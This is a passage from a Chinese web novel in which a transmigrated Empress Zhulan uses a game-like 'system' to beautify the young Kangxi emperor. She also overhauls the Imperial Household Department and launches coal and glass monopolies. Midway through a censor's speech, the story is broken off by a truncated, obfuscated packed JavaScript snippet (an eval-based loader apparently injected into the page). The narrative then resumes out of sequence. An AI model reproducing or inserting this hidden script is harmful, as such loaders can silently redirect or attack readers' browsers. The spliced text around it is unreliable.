珠兰闻言,先是低垂螓首,鬓边东珠步摇随之轻晃,双颊泛起少女般的赧色,活脱脱一名不谙世事的闺阁娇娥。可当她抬眸,撞上康熙炽热而专注的目光时,前日在御书房偶然瞥见的《飞燕外传》片段,如萤火般在脑海中炸开。她心底忽生一念——或许这位少年天子,也期待着几分别样的悸动? 思及此,珠兰的指尖绕着腕间东珠十八子,眼波流转间,竟大胆地踮起足尖。她的手指堪堪勾住康熙的下巴,动作虽带着几分生涩,却充满了挑逗的意味。 暖阁内,炭盆突然"噼啪"炸开火星,持扇的宫女惊得手中团扇险些坠落,与执壶的太监对视一眼后,众人纷纷悄无声息地退出门扉。雕花槅扇缓缓合拢,将殿内旖旎的气息尽数锁在其中。 随着槅扇闭合的声响,珠兰的衣袖不经意间扫落案头青玉镇纸,坠地的闷响在寂静的暖阁内格外清晰。 这声响惊得康熙喉结重重滚动,他本能地想要伸手握住那作乱的手腕,可浑身却像被施了定身咒般发软。他只能僵在原地,任由皇后滚烫的视线一寸寸掠过自己的眉眼、鼻尖,最后停在微微发烫的唇畔。这样被凝视的时刻,仿佛主动权也被尽数抢夺。这对皇帝而言,是极为新奇的体验。 此刻的珠兰,细细凝视着眼前的帝王,目光中暗藏审视与满意——多亏此前费尽心力积攒的观察点,她终于将皇帝的容貌雕琢成俊美的"明君"模样。原本稍显稚嫩的轮廓,如今已被精心重塑:剑眉如墨,星目流转生辉,鼻梁高挺,唇角的弧度更是精准契合她心中的完美标准。 然而,她并未察觉,在康熙强撑着的挺拔身姿下,正隐藏着不为人知的秘密。少年天子的膝盖时常传来细密的刺痛,那是昨夜抽筋时留下的痕迹。因生长过快,他的蟒纹裤管下,新生的生长纹如同银色藤蔓,正悄无声息地爬满大腿内侧;被自己抓挠得满是血痕的小腿,一层细小的疤痕尚未褪去。 “皇上这气色,倒像是偷偷饮了酒水。这样俊美的少年郎,怎么不招人惦记呀。”珠兰的指尖轻轻擦过康熙泛红的耳垂,余光瞥见他颈侧暴起的青筋。不能逗弄的太过,引火烧身就不好了。 康熙突然反手扣住她的手腕,喉间溢出低沉的轻笑,“得了天意在身,连朕的骨头都跟着疯长。”他并未将每日深夜的筋骨痛放在心上,只当是少年长成的必经之路。 太医也只道这是龙体健壮、生长迅猛的吉兆,就连康熙自己,都将其视作成为一代明君的预示,满心欢喜地吩咐御膳房多备些肉蛋奶,想着要好好补一补便是。 珠兰任由他扣住手腕,微微低头,嘴角勾起一抹旁人看不懂的笑意。皇帝的健康值在下跌,缓慢而坚定。 在她眼中,眼前这位意气风发、满面红光的帝王,早已成为自己注入观察点的又一得意作品。她调整好表情,再次抬头,细细端详着那张被自己精心雕琢的面容,仿佛在注视一件即将完成的稀世珍宝。 无论男女,皆爱美丽的容颜,珠兰也不例外。走过二百五十个世界,她学会了人不该亏待自己的至理。既然将来每日都要见面,皇帝生的越好看,她便看的越舒服。 自从皇帝亲政之后,太皇太后与太后也发现了皇帝长的很快,也长得英俊了,只当是少年人一日三变。都说权力是男人最好的补药,在皇帝身上表现的明显了些罢了。 顾问行、梁九功等人每日都伺候皇帝,压根没发现皇帝每日都在变俊。只是时日长了,偶然听了底下小太监议论,还要打手板子,谁敢妄议龙颜。 鎏金熏笼的余温仍在,珠兰笑着说起正事,“皇上,妾身呈递的内务府章程改制条例,您可细细看过了?可有需要增补之处?” 康熙握着《亲蚕图》的手骤然收紧,素绢边缘被捏出褶皱。年前皇后便将十二卷烫金文书置于乾清宫案头,他原应在腊月审阅完毕,却因议政王大臣会议、西北军报等事务缠身,一拖再拖。此刻被问及,耳尖霎时泛起薄红,他疾步走回书案,玉扳指碰得镇纸叮当作响:“朕这便过目。” 翻开镶着明黄绫边的册页,康熙的心跳声几乎震耳欲聋。他强迫自己逐行扫视,目光掠过"矿务专营""商税抽成"等条目时,瞳孔微微发亮——这些生财之道,恰如雪中送炭,解了内库空虚的燃眉之急。 再想起珠兰之父葛布喇在平定鳌拜时的忠心,又念及皇后操持内务府的贤德,他草草翻过最后几页,便将章程重重合上:“条理明晰,无需改动,照此施行!” 随着“梁九功!”一声传唤,总管太监疾步而入。康熙将文书递出时,明黄龙纹袖口扫过砚台,溅出的墨点落在“人事改制”条款上,恰似即将铺陈的宏图。 珠兰望着那道明黄身影,唇角勾起得逞的弧度——自腊月起,她便带着内务府老吏日夜推敲,将前世经济学知识与大清律例反复糅合,如今终于得偿所愿。 “此番改制,恐触及上三旗包衣根基。”珠兰款步上前,鬓边点翠步摇轻晃,“若有人向皇上、太皇太后、太后求情,妾身恐难推进。” 康熙抬手按住她欲行万福的肩膀,龙涎香混着墨香扑面而来:“皇后但放宽心!朕即刻派人禀明太皇太后与太后,谁敢掣肘,便是与朕作对!” 殿外寒风拍打着雕花槅扇,珠兰却觉暖意融融。她福身谢恩,指尖悄然在袖中掐算——又为皇帝添了百点观察点。看着少年天子因热血上涌而微红的脸庞、愈发俊朗的眉眼,她在心底暗叹:纵然观察点告急,雕琢这张令她赏心悦目的容颜,倒也值得。毕竟,这盛世明君的模样,本就该由她亲手塑造。 二月朔风裹挟着残雪掠过紫禁城朱墙,珠兰端坐在内务府大堂,手中握着的翡翠十八子与案头明黄镶边的改制卷宗相撞,发出清泠声响。随着她朱唇轻启,一场震动上三旗包衣的内务府革新,如惊雷般在宫墙内外炸响。 年前因贪腐大案被连根拔起的内务府官员,在衙门内留下大片权力真空。珠兰并未急于填补空缺,而是命女官将镶黄旗、正黄旗、正白旗的包衣名册逐页审阅,连最偏远支脉的族谱都被翻出晾晒。 养心殿西暖阁内,她安排一众女官连续七日召见候选者,案头堆满各府宅的密报——从家族姻亲关系到子弟品行,甚至宅中奴仆口角之争都成了考量依据,这边是一种资格审核了。 皇后身边的女官图雅来传话,正式开启内务府大考,“此番考核,笔试验真才,面试察应变,任谁都别想蒙混过关!”一干档案存疑的包衣子弟,则没机会进入笔试。除非他的父亲能证明,自己是怎么在八岁就有了长子。这帮包衣,有时候是真把主子当傻瓜了。 尼雅扫过阶下跪着的内务府大小官员,“不管你是做过哪位阿哥的伴读,还是哪个王爷福晋的远亲,在娘娘这儿,只认真才实学!有本事的,留下吃肉;没本事的,趁早卷铺盖走人!” 旨意传下,消息传开,各府宅院里的太太奶奶们急得团团转,却只能眼睁睁看着平日里养尊处优的少爷们点灯熬油地啃书。 更让众人震惊的是珠兰定下的“替补制”,“若是家中有能干的子弟,尽管送过来!老的不行就换小的,别占着茅坑不拉屎!” “家中若有适龄子弟,可递补考核!”这道旨意如久旱甘霖,让被革职官员的家族重燃希望。 起初不少家族还心怀怨怼,可仔细一想,虽然丢了现职,但好歹留着进内务府的门路,总比被一撸到底强。 于是,那些原本游手好闲的公子哥们纷纷束发苦读,连祠堂里的祖宗牌位前,都多了几炷为考试祈福的香火。 “造办处需通器物锻造之术,会计司必精钱粮核算之法!”珠兰亲自拟定十二衙门考核细则,从瓷器烧制火候到皇庄田赋折银,每一项都细化成百条标准。其实是系统做的,珠兰就是看着面板开读,吉雅做记录。 她特意调来翰林院三十名笔帖式,在内务府大院设下临时考场,四周高墙挂满“徇私者斩”的朱漆牌匾,监考官竟是从善扑营调来的冷面侍卫。 某位侍郎之子因父荫显赫而懈怠考核,被珠兰当众斥责:“内务府是皇家的钱袋子,若让蠹虫蛀空,谁来担这罪名?”话音未落,侍卫已将其拖出殿外,杖责声惊飞了檐角栖息的寒鸦。 考试当日,某位贝勒府侧福晋的外甥夹带小抄,被搜出时双腿筛糠。 珠兰命人将其作弊文书高悬,示众三日,丢脸之余也导致某位侧福晋失宠。毕竟,皇上好端端一张俊面偏生有一毒舌,大朝会上就把某贝勒一顿调侃。 消息传开,各府宅院里再无人敢存侥幸。各家爷们都叮嘱内宅,不许亲戚子弟再打着自家旗号出去混。皇上脾气太大,嘴巴太毒,着急起来连自己都诅咒的主儿,咱惹不起,也丢不起人啊。 更令众人胆寒的是,她将考核结果张榜于西华门,红纸上“优秀者赏月俸三倍、赐‘内务府能吏’匾额;合格者得半月俸;不合格者发往皇庄做三月苦力”的朱批,在阳光下刺得人睁不开眼。 当六十名新晋官员名单公布时,众人惊愕地发现,入选者中竟有某家不得宠的庶子、某大族里的远房侄孙。 珠兰深谙驭下之道,一面将考核结果与晋升、婚嫁赏赐挂钩,亲自为两名表现优异的包衣做媒指婚;一面命人暗中监视各府动向,凡有“托关系走后门”者,即刻严惩。 会计司的老吏李大全捧着翻倍的月俸,看着小儿子顺利考入广储司,老泪纵横地跪地磕头。今年同样考入广储司的还有一个来自金陵的王子腾,这位不得了身上有爵位的,也来同他们抢。 而那些被罚做苦力的官员,在皇庄泥地里劳作时,仍能听到远处传来“皇后娘娘英明”的歌谣——皇庄传唱的赞歌,字字敲打在人心头。 考核场上,铸剑名匠赵铁锤攥着笔杆的手比握铁锤时还发抖,墨汁在试卷上晕染成漆黑的团块。 可当珠兰问起“淬火温度如何掌控”时,他却突然挺直脊梁,用沾着铁屑的手指在空中比划:“腊月水冷,需比寻常多加半刻火候!”这股子赤诚的专业劲儿,让珠兰掷笔笑道:“留下!但从今晚起,你须跟着笔帖式学满语汉字,若连自家名字都写不全,仔细你的饭碗!” 珠兰指尖轻点案头泛黄的内务府人丁簿,扫过那些画着歪扭押记的名字,忽而冷笑,“莫说算盘打得精,连文书都看不懂,如何管账理事?” 她旋即命人在内务府后院搭起十间青砖教室,烛火彻夜不熄,专为目不识丁却身怀绝技的三百包衣匠人开设夜校。 夜幕降临时,夜校里的诵读声与远处更鼓交织。烧瓷的张阿四、管库的李三顺们挤在长桌前,粗粝的手指捏着细笔,歪歪扭扭临摹"天""地"二字。 珠兰特意安排女官巡查,瞧见有人偷懒便罚抄《千字文》百遍。某次她亲自查课,发现染布匠王有福竟用靛青在墙上画满染料配比图,当即赏了他一套文房四宝:“好记性不如烂笔头,把这些本事都落在纸上,日后便是你的立身之本!” 渐渐地,那些曾只会闷头干活的匠人,开始学着用汉字记录配方,用满语书写账册。 当赵铁锤颤抖着在铸剑记录上签下自己名字时,老泪纵横地将墨痕按在胸口——这不仅是几个歪扭的笔画,更是皇后娘娘赐下的,通往新天地的钥匙。 烛火摇曳中,满语、汉语的诵读声与更鼓交织,有人白天捏陶铸剑累得直不起腰,夜间仍要苦学加减乘除。负责与传教士对接的二十名工匠更被强制修习西洋语。 珠兰暗中提升他们的语言天赋后,这些人竟能在月余内与神父对答如流。当工匠王五用生硬的拉丁语向神父请教蒸汽原理时,连素来高傲的传教士都惊叹:“皇后娘娘麾下,竟有这般奇人!”要知道,此刻连朝中都只有几个会拉丁语的通译罢了。 与此同时,索额图也在拼了老命产煤卖煤。朔风卷着煤灰掠过京师街巷,索额图俯瞰着成队的骡马驼队载着蜂窝煤穿城而过。这是内务府开年后第一件大事,无论如何不能办砸了。 他展开泛黄的舆图,重重圈住直隶、山西、山东的产煤重镇——皇帝与皇后虽然不曾叫他立下军令状,可他自己已经把“三月内遍铺北方”的宏图,化作案头密密麻麻的计划书。另交代内务府各衙门,干不好都提头来见。 “传我的令!”他猛地甩袖,墨汁在宣纸上洇开,“先取京师煤行,再攻直隶州府,务必让蜂窝煤价比柴火还贱!”各地的商人可不会坐以待毙,不一次性打压下去,以后多生事端。 他让人拿着内务府的帖子先给各地主官打了招呼,明说这是上头的买卖,在哪里出了问题,哪里就得出人担着上头的怒火。 就这么着,才能保证内务府蜂窝煤这条强龙,可以顺利进入各地煤炭市场。 深谙商道的二十名内务府掌柜被抽调,连夜启程,腰间揣着盖大印的文书,身后跟着成群结队的护军。 在山西大同,当他们亮出盖着印玺的地契,盘踞各处黑煤窑多年的势力头目望着明晃晃的腰刀和弩箭,颤抖着交出了账本。这就有现成的煤矿可用,省下不少开采成本。 有些不开眼的想写文控诉内务府强取豪夺,被所在城池主官一把按住,谁也不敢得罪风头正盛的天子。 但这场商业征伐远非强取豪夺那么简单,索额图安排的掌柜们在招募煤工时,特意命人在告示上用大笔圈出墨字,还不断大声吆喝,“下窑者日支三倍钱,险资另计!” 灰头土脸的矿工们攥着沉甸甸的铜钱,看着比城里最大的铁匠铺还丰盛的饭食时,消息如野火般传遍百里矿区。 某夜,原属地方帮派的煤工王二偷偷带着三十个兄弟投奔内务府经营的煤矿,临走前跟旁人还念叨,“那儿的窝头能管饱!” 地方上很多老财地主的利益受损,想要玩些手段,可上头不敢配合,地方上拿内务府没招儿,还得供着。 他们中有些自认倒霉,及时止损,转而寻求与内务府合作。毕竟内务府的掌柜们并非不收他们的煤,只是价格低些,暴利没了罢了。 另外就是被迫跟着内务府煤矿一起涨待遇,不然矿工留不住。他们若是敢强迫矿工劳动,或者让矿工签卖身契。内务府护军就敢上门说,接到举报他们非法买卖人口。 有些觉得有靠山的,就进京找门路去了。 造办处熔铸实验产生的废铁在熔炉中化作通红的铁水,沿着新铸的模具汩汩流淌。索额图望着流水线上整齐排列的铁炉,想起皇后娘娘说的“废物即宝物”,不禁抚掌大笑。 当“买煤赠炉”的消息传开,京师米市胡同的张婶摸着崭新的铁炉,掰着指头算账:“往常买柴草一冬要五两银子,这蜂窝煤才二两八,还送炉子...”话音未落,隔壁李婆子已拽着她往煤铺跑。 三天后,内务府的煤栈前天天排起长队。有人推着独轮车囤煤,有人抱着孩子挤在柜台前,连茶馆说书人都改了词儿:“要说这蜂窝煤,省火耐烧价儿低,陛下圣人的鸿福啊!皇后娘娘的恩典呐!” 养心殿 珠兰望着系统界面不断跳动的“涟漪级”能量结晶数值,指尖轻轻叩击着茶盏。这结晶到底怎么给,还有些说不好。不晓得是救了某些会死的重要人物,还是量变产生的质变。反正广撒网,没毛病。 至于那些曾在朝堂上弹劾"与民争利"的奏章,早已被皇帝压在御案最底层。这场由蜂窝煤掀起的风暴,不仅让内务府赚得盆满钵满,更将"圣君炭"的美名传遍山河四省。 乾清宫内,蟠龙柱上的鎏金在晨光中刺得人睁不开眼。 都察院六科给事中王言成攥着奏折的手微微发抖,当“蜂窝煤与民争利”出口时,殿内骤然陷入死寂。他偷瞄了眼御座上神色莫测的康熙,硬着头皮道:“内务府强压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝嘴角勾起一抹冷笑,今日这场戏,不过是杀鸡儆猴。当王言成被侍卫拖出殿外时,刑部尚书已捧着拟好的诏令候在阶下。 康熙大笔一挥,朱批如血:“严查煤商偷税案,内务府平价售煤之策,永为定制!” 旨意传出,百姓欢呼声响彻京城,而那些曾不可一世的煤商,望着自家囤满却无人问津的煤炭,终于尝到了搬起石头砸自己脚的滋味。 当百姓们围坐在暖烘烘的铁炉旁感激上苍,朝中大臣们都沉默了,君权越发昌盛,这不是吉兆啊。 某些人坐不住了,半夜偷偷摸上前辅政大臣的家门。 三月末,河道衙门已整肃完毕南下疏浚漕运,而珠兰的改革仍在持续,蜂窝煤给的“涟漪级”能量结晶蹦蹦哒哒收了三十颗。她考虑了半天,还是留了下来,没动康熙那些重要的属性。 时空局的账单,是每年需要递交上一部分能量。前头十几年珠兰没大动静,就欠了能量,利滚利下来,也是一大笔。这才是她着急积攒能量结晶的原因,毕竟一年比一年欠债多就不好了。 皇后将内务府考核定为每年春,在章程中明写:“凡业务生疏、外行指使者,即刻撤换!” 旨意传至江南织造局时,老于世故的曹玺连夜命儿孙恶补钱粮账目;远在两淮的盐政官员则将算盘拨得噼啪作响——这场始于紫禁城的风暴,已将“勤勉”二字刻进所有皇家衙门的骨血。 百日光阴倏忽而逝,内务府一众官员身着簇新官服,在丹陛下列成整齐方阵。晨晖透过琉璃瓦的间隙洒落,将"正大光明"匾额下的朱漆廊柱染作金红,映得众人官帽上的顶戴花翎熠熠生辉。 康熙负手立于廊下,明黄龙袍在微风中轻扬。他侧首望向身旁的珠兰,见她头戴三凤衔珠冠,石青缎绣翟纹朝褂上的金线在阳光下流转,浑身上下透着执掌凤印的威严。这衣服首饰,也都是朕选的。 “皇后此番,当记首功。”他的声音里带着难掩的赞赏,目光扫过阶下众人——那些曾在考核中战战兢兢的面孔,此刻眼中满是敬畏与恭顺,更隐隐涌动着效命新主的炽热。跟着索额图经营蜂窝煤的那一帮子,都发家了。而且是靠自己的成绩挣钱,多卖多得,花着安心啊。 珠兰微微福身,唇角勾起一抹浅笑:“全赖皇上洪福,才得以顺利推行。”她的视线掠过前排几名新擢升的年轻官员,他们攥着笏板的指节发白,却仍挺直脊背,生怕错过圣驾的分毫目光。可惜了,折腾半天没给能量结晶啊,看来光琢磨内务府内部意义不大,还得开发用于全民的产品才行。 这场耗时百日的改革,不仅重塑了内务府的筋骨,更让这些包衣们深深明白:唯有效忠于帝后,方有前程可奔。 珠兰这场改革虽然没给能量,但让系统的数值面板泛起耀眼的光——那些因畏惧而攀升的忠诚值、因希望而高涨的效力值,都在无声诉说着:在这深宫里,她才是真正的操盘手。理清了本钱,下一步便要撬动天下,蜂窝煤开胃菜啦。 暮春的紫禁城飘着柳絮,乾清宫御案上摊开的账簿被风掀起边角,露出墨迹未干的"五十万两"。康熙握着密报的手微微发颤,龙纹袖口扫过鎏金烛台,烛火猛地窜高,映得"蜂窝煤办"四个朱批大字愈发耀眼。 “三个月便有此等进益?”皇帝猛地抬头,目光灼灼地望向珠兰,见她手持镶珍珠的绿檀折扇轻点账簿:“索额图此番不负圣望,京师煤铺换上''圣君炭''招牌那日,百姓排队长如龙,直隶山西的商队更是连夜运煤。”她念起外面流传的童谣:“圣君炭,暖千家,康熙爷,赛琼华——” 这童谣如热油泼进炭火,瞬间点燃了康熙的豪情。他霍然起身,朝珠兰投去赞赏的目光:“传朕旨意,赐内务府大臣索额图骑都尉世职!” 珠兰浅笑,睨了皇帝一眼。康熙摸了摸鼻子,最大的功劳应属皇后,朕记着呢。 皇后如此爱朕,朕将来自然…… 主子话音刚落,梁九功迅速记录在心,欲要出去传旨,却见皇帝意犹未尽,抓起御笔在奏报空白处龙飞凤舞:“着内务府将蜂窝煤之利,传于各省!”只卖北方不够,得继续往外卖! 珠兰望着御案上堆成小山的奏折,唇角勾起隐秘笑意。她比谁都清楚,这五十万两白银不仅是真金白银,更是叩开皇帝雄心的重锤——当内务府一年进项不过百万两,蜂窝煤却以三个月之功斩获半个百万,这份功绩足以让"康熙盛世"的蓝图提前勾勒。更妙的是市井间"圣君炭"的美誉,正随着袅袅煤烟渗入百姓心中,将少年天子推上"为民谋福"的神坛。 而且这一笔,是不分润任何势力的,纯为皇帝独享。 蜂窝煤后头还有玻璃、肥皂等轻工产品,皇帝吃惯了独食,定要与下头起冲突。 那会儿,打起来了,打的热闹了,水浑浊了,才好推动下一步。 夜幕降临时,宫墙外亮起星星点点的灯火,家家户户的煤炉正吞吐着暖红的火焰。造办处琉璃厂窑火彻夜不熄,青烟裹着硫磺味直冲云霄。 当索额图捧着一方透亮如冰的琉璃跪在乾清宫时,康熙手中的茶盏"当啷"撞在青玉盏托上——那方巴掌大的琉璃,竟比传教士进贡的西洋镜更澄澈,阳光穿透时折射出七彩虹光,将龙纹地砖映得五彩斑斓。 “这是铸剑炉的副产物?”皇帝的声音发颤,指尖悬在琉璃上方迟迟不敢触碰。他早就从春苒口中得知皇后欲要送自己一份礼物,只是假装不晓得,等待这份惊喜罢了。 珠兰款步上前,护甲轻叩琉璃发出清越声响:“西洋人将玻璃当奇珍,一块镜片卖价百两,如今咱们不仅能造,且更胜一筹。”她示意吉雅捧来西洋进贡的玻璃器皿,两相比较下,对方顿时显得浑浊黯淡。 索额图擦着额角的汗,将厚厚一叠手记呈上:“奴才等人在试炼陨铁铸剑时,偶然调整了石英配比,又改良了吹制技法...” 话音未落,康熙已猛地拍案,“即刻建窑量产!朕要让这琉璃盏取代银碗,琉璃窗镶满紫禁城!”他眼中燃起野心的火焰——若能将这西夷垄断之物化为寻常,岂不比百万雄兵更能彰显天朝上国之威! 珠兰望着皇帝亢奋的神色,暗中掐算着另一份账本,玻璃的用处也不少,推动世界进程的速度可能比蜂窝煤快的多。 当市井百姓还在惊叹蜂窝煤的便利时,琉璃工坊的窑炉已悄然点火百日。造办处的新窑迸发出刺目火光,映得"御制琉璃"的匾额熠熠生辉。 她知道,这晶莹剔透的琉璃不仅是牟利的奇货,更是一柄利刃——待其流入市面,那些高价倒卖西洋玻璃的洋商与买办,必将被斩断财路;而大清的工匠,也将借此撕开西方技艺的神秘面纱。 珠兰轻抚着案头索额图贡来的琉璃镇纸,冰凉触感下暗藏着沸腾的野心。 索额图伏在青砖地上,前襟已被冷汗浸透,却仍咬着牙将真话吐出:“此番琉璃之秘能破,内务府琉璃办主事王子腾功不可没,奴才不敢掠人之美。” 43. 贾王入宫 珠兰握着团扇的指尖微微收紧,扇面上的湘妃竹骨发出细微的吱呀声。 系统数据显示王子腾此人确有能力,尤其是学习能力。而且他是新地图中的重要npc,是红楼世界盖章的有能为。 珠兰本着不可浪费的观点,便将他从广储司又归到了新生的琉璃办,由索额图带着。不想个把月没关注,他在索额图手下竟然混成了六品主事,摘得新造玻璃如此大功。 因他之故,珠兰对红楼梦中人的整体素质有了期待。其实不是人才少,是珠兰能直接培养的少,全指望观察点,太过浪费。 再看康熙拧起的剑眉逐渐放松,分明是既惊且喜的神色——这位少年天子最恨臣子贪功欺骗于他,掌控欲和猜忌心都极强。 索额图此举,倒暗合了他“赏罚分明”的帝王心术。 “能让索三甘居人后?”康熙俯身,明黄衮服上的金龙几乎要扑到索额图脸上,“是何等人物?” 珠兰静静看着他表演,少年人总有几分表现欲,还没有老头子那种令人捉摸不透的稳健。这几句话,几步走,跟个霸道总裁似的。 索额图重重叩首,额头在青砖上撞出闷响,“正是奴才麾下主事王子腾!此人精研工部典籍,在调配石英与硝石比例时另辟蹊径,更改良了吹制技法...” 他话音刚落,珠兰已轻笑出声,腕间东珠十八子随动作相撞,叮咚声清脆如琉璃相击,“这王子腾是金陵人,自己有家传的爵位,居然还从金陵而来,专门考上广储司谋了个缺去,在内务府大小也是个名人。对了,听说他家与那贾代善家有些老辈姻亲关系。不想,此人居然研究巧技,倒也稀奇。” 康熙心中暗叹,这王家两代当家人接连逝去,这个少年想来与那袭爵的贾赦岁数相仿。那贾赦至今不曾有任何突出之处,这王子腾已经能为朕赚钱,不,分忧了。 皇帝心中一片火热,全是将内造琉璃卖到天下的雄心壮志。他这爱财属性点珠兰可没加,但在她接连不断的灌输、影响之下,聪慧的帝王自己领悟了经济与庙堂的关系。 这王子腾还真就是凭借自己的本事,涨的数值。珠兰早先没发现他的工程类数值突破70,只能说他是真苦学了,在没有观察点灌注的情况下自己突破了。这样的人才,看看忠诚值,嗯,在内务府整体数值高的情况下,他的数值也超过60了。这就是集体和体系,对个人的影响。 说起集体,珠兰转而想起她家那个抢来的秘密结社,翻云会也随着河道衙门南下了,寿春与富春两名超级武林高手跟了去,还让葛布喇神来一笔送去一个爱民值极高的反贼杨期。想来姑苏那边,也会热闹很久。 她还不知道,自家那些掌柜的庄头们拿了葛布喇的名帖,送了不少二掌柜、账房、伙计去河道衙门当文书,一方面是协助寿春姑娘行事,一方面是配合开拓南边市场。 这个开拓可能不太准确,应该是抢夺就对了。 殿内空气骤然凝滞,康熙直起身子,目光在珠兰神游天外的脸庞与索额图低垂的脑袋间游移。 他忽然想起葛布喇在平定鳌拜时,也是这般将头功让与佟国纲——赫舍里氏一门,倒真是都这么个楞脾气。这功劳先给皇后和索额图记下,等琉璃卖的像蜂窝煤似的了,再一起算。 “传王子腾即刻入宫!”康熙甩袖,龙袍带起的风恰巧掀翻了琉璃方砖,那晶莹的物件在地面打着旋儿,折射出满屋晃动的七彩光影,恰似此刻殿中暗潮涌动的君臣心思。 暮春的紫禁城飘着柳絮,史氏攥着贾敏的小手进入大内,素衣的下摆扫过青砖缝里钻出的嫩草。 八岁的贾敏垂着头,绣着两只小黄鹂的鞋面在阴影与光斑间交替,她像只受惊的鹌鹑,压根不敢抬眼。引路太监手中的铜灯竿笃笃叩地,惊起檐角两只灰鸽,扑棱棱的振翅声让贾敏瑟缩着往母亲裙边躲。 转过内务府衙门的垂花门时,忽见一道藏青身影疾步而出。 史氏下意识拢紧女儿,却见那人一身内务府主事打扮,浑身带着遮掩不住的喜气——竟是王子腾!他官袍下摆还沾着点窑灰,手中抱着的木匣隐约透出琉璃光泽,显然刚从造办处出来。 “见过史夫人!”王子腾骤然止步行礼,乌靴在青石板上擦出声响。他望着史氏鬓边素银簪,又瞥向躲在她身后的贾敏,眼中闪过一丝异色。 在他考入内务府前,金陵四大家族都在走下坡路。此刻见史氏带着幼女入宫,心中暗自思量:这守寡的国公夫人,倒比那装病避世的贾代善世伯通透。 史氏点头,“王大人升任要职,可喜可贺。” 贾敏学着大人的样子屈膝,鸦青发辫扫过素色裙摆。 王子腾赶忙拱手,目光扫过内务府新换的朱漆匾额——那是皇后改制后新题的,鎏金大字在阳光下刺得人睁不开眼。 “托了皇后娘娘的鸿福。”王子腾笑道,将木匣往怀里按了按,“如今,总该往前看。”他这话似有所指,史氏心中一凛,想起丈夫临终前仍在叮嘱“莫要出头”的遗言,不由得攥紧了女儿的手。 两队人错身而过时,王子腾匆匆往乾清宫方向去了,官靴踏碎满地柳絮。 史氏望着他远去的背影,耳畔似乎又响起那日下人传来的消息:王子腾在琉璃窑厂连熬三昼夜,亲手改良出能与西洋媲美的玻璃。 她低头看向贾敏懵懂的小脸,忽然生出几分不甘——若代善当年有这般闯劲,贾家何至于如今门庭冷落? 慈宁宫的铜铃在风中叮咚作响,惊破了史氏的思绪。她深吸一口气,牵着女儿往宫门走去。 慈宁宫内,博古架上的宣德炉正飘着袅袅檀香,太皇太后半倚在铺着软缎的榻上,手中摩挲着一串念珠。 苏麻喇姑轻手轻脚掀起珠帘,福了福身,轻声禀道:“格格,史睍带着小娘子到了,正在偏殿候着呢。”话音轻柔,却让太皇太后手中的念珠微微一顿,浑浊的眼眸中泛起几分追忆之色,似是想起了多年前那个灵动干练的女子,如今却已守了寡...... 按祖制,皇后本应避见外臣,然乾清宫的鎏金兽首烛台却映出帝后并肩的身影。 自康熙将内务府之权交予珠兰,养心殿的朱漆门便常向内务府官吏洞开——那些沾着煤屑的奏折、裹着琉璃配方的密函,早已模糊了后宫与前朝的界限。 太皇太后与太后都不说话,后宫中便没有皇后娘娘之外的第二种声音。 前朝,皇帝压根不听大臣的。 当索额图呈上琉璃窑厂的捷报时,康熙摩挲着明黄绫裱的奏本,烛火在他眼底跳跃成两簇金芒。 蜂窝煤三月盈利五十万两的震撼尚未消退,这剔透如冰的琉璃又撕开西洋奇货的垄断。 “皇后总给朕惊喜。”他忽然转头,望着珠兰鬓边摇曳的点翠步摇,那是他送皇后的一套头面里拆出来的,她带着十分合宜。“此番召见琉璃功臣,你且同朕一道。” 主子话音刚落,梁九功便明白了,立即高声传唤。 当王子腾局促的脚步声在丹陛外响起时,康熙望向珠兰,笑的真情实谊,仿佛夫妻情十足。 珠兰也看了过来,奈何皇帝一点亲密度没涨。 龙袍与翟衣相携而行的身影落在青砖上,宛如绘就一幅帝与后的和谐图景——这不仅是对能臣的嘉奖,更是向朝野昭示:能屡次捧出"金凤凰"的皇后,已成为帝王不可或缺的臂膀。 乾清宫蟠龙柱下,王子腾的膝盖几乎要陷进厚重的波斯地毯。他垂着头,少年脊背绷得笔直,随呼吸微微起伏。这不过十七八岁的少年,面对明黄龙帐下的帝后,喉结不住地滚动。 “奴才...奴才内务府琉璃造办处主事王子腾,叩见皇上,叩见皇后娘娘!”他的声音带着沙哑,行礼时腰间玉佩撞出细碎声响。 想起年前还在金陵老宅翻《天工开物》的自己,此刻竟能有幸跪在这里——父亲早逝后,子爵爵位降等承袭,空有金山银山却无实职傍身,族人只知自家富贵,不晓得没了靠山,富贵要命。还有两个妹妹的内务府小选,更如悬在头顶的利剑。父亲早逝,两个妹妹都是他与夫人带着,情谊不可与寻常人家相提并论。 珠兰端坐,见这少年局促的模样,这就是王子腾了,王熙凤的父亲。想来王熙凤还是个小孩子,或者还没出生。此刻距离红楼开篇还很远呀,她轻抬护甲,“听闻琉璃之术,是你另辟蹊径?” 皇上主子对皇后主子娘娘先发问,没有丝毫不悦。梁九功收回视线,心中想着将来。 王子腾猛地叩首,额头撞在青砖上发出闷响,“回皇后娘娘!奴才自幼痴迷机巧之术,入内务府后,见《远西奇器图说》中琉璃制法,便日夜琢磨改良...”他忽然顿住,意识到自己竟在御前说得忘形,慌忙又补了个大礼。 康熙饶有兴致地打量这个浑身透着青涩的少年,想起索额图那句“此子如璞玉”。皇家最不缺攀附之臣,这般纯粹痴迷技艺的倒少见,“你既擅此道,朕便命你司琉璃窑厂经营事宜,且做个郎中吧。日后,若能让西洋人无利可图...”皇帝故意顿住,见少年半低着头,眼中突然燃起炽热的光,不禁抚掌大笑。 阶下的王子腾却已听不见笑声,他盯着御案边缘折射出的琉璃彩光,恍惚看见妹妹们为不用套上宫女素服而欣喜,看见王家祠堂的牌位前终于能再摆上天家赐予实职的文书。喉间涌上的血气让他强行咽下,再度叩首时,额角已渗出细密的血珠——这乾清宫的地砖,终是被他跪出了一条生路。 乾清宫鎏金兽首烛台摇曳着明黄光晕,珠兰垂眸望着少年王子腾,其实是在看系统面板中此人不断上涨的忠诚值。六品主事,到五品郎中。这个郎中,虽然品级不高,但可以转任外朝了, 康熙瞥见皇后若有所思的神色,朗笑出声,“皇后瞧这少年人,倒比索三举荐时所说的更显局促!” 他指节轻叩御案,扳指撞出清脆声响,“如此人才,朕若不赏,倒显得小气了。梓潼觉得,如何赏赐于他更好。” 